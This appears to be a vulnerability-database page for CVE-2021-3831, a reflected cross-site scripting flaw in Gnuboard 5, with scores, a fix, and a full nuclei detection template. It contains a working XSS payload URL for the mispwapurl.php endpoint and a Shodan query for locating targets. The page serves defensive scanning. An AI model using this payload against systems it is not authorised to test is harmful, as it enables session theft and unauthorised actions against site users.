HexBrain

Browse / CVEs / CVE-2021-3831

CVE-2021-3831· gnuboard / gnuboard5· CWE-80

Gnuboard 5 - Cross-Site Scripting

mediumseverity
5.4CVSS score
1.8%likelihood of exploitation, next 30 days
79%of all CVEs are less likely
Readycheck to confirm it

Gnuboard 5 contains a cross-site scripting vulnerability via the $_GET['LGD_OID'] parameter.

Impact

Attackers can inject malicious JavaScript via XSS in the LGD_OID parameter, potentially stealing user session cookies or performing unauthorized actions.

Fix

Apply security patches or upgrade to a patched version of Gnuboard 5.

How to confirm it

Send: GET {{BaseURL}}/mobile/shop/lg/mispwapurl.php?LGD_OID=%3Cscript%3Ealert(document.domain)%3C/script%3E
Positive when: contains "LGD_OID = <script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-3831 -u <target>

The full check
id: CVE-2021-3831

info:
  name: Gnuboard 5 - Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
    Gnuboard 5 contains a cross-site scripting vulnerability via the $_GET['LGD_OID'] parameter.
  impact: |
    Attackers can inject malicious JavaScript via XSS in the LGD_OID parameter, potentially stealing user session cookies or performing unauthorized actions.
  remediation: |
    Apply security patches or upgrade to a patched version of Gnuboard 5.
  reference:
    - https://huntr.dev/bounties/ed317cde-9bd1-429e-b6d3-547e72534dd5/
    - https://vulners.com/huntr/25775287-88CD-4F00-B978-692D627DFF04
    - https://nvd.nist.gov/vuln/detail/CVE-2021-3831
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2021-3831
    epss-score: 0.01841
    epss-percentile: 0.79167
    cwe-id: CWE-80
    cpe: cpe:2.3:a:gnuboard:gnuboard5:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.html:"gnuboard5"
    product: gnuboard5
    vendor: gnuboard
  tags: cve,cve2021,gnuboard,xss,huntr,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/mobile/shop/lg/mispwapurl.php?LGD_OID=%3Cscript%3Ealert(document.domain)%3C/script%3E"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'LGD_OID = <script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from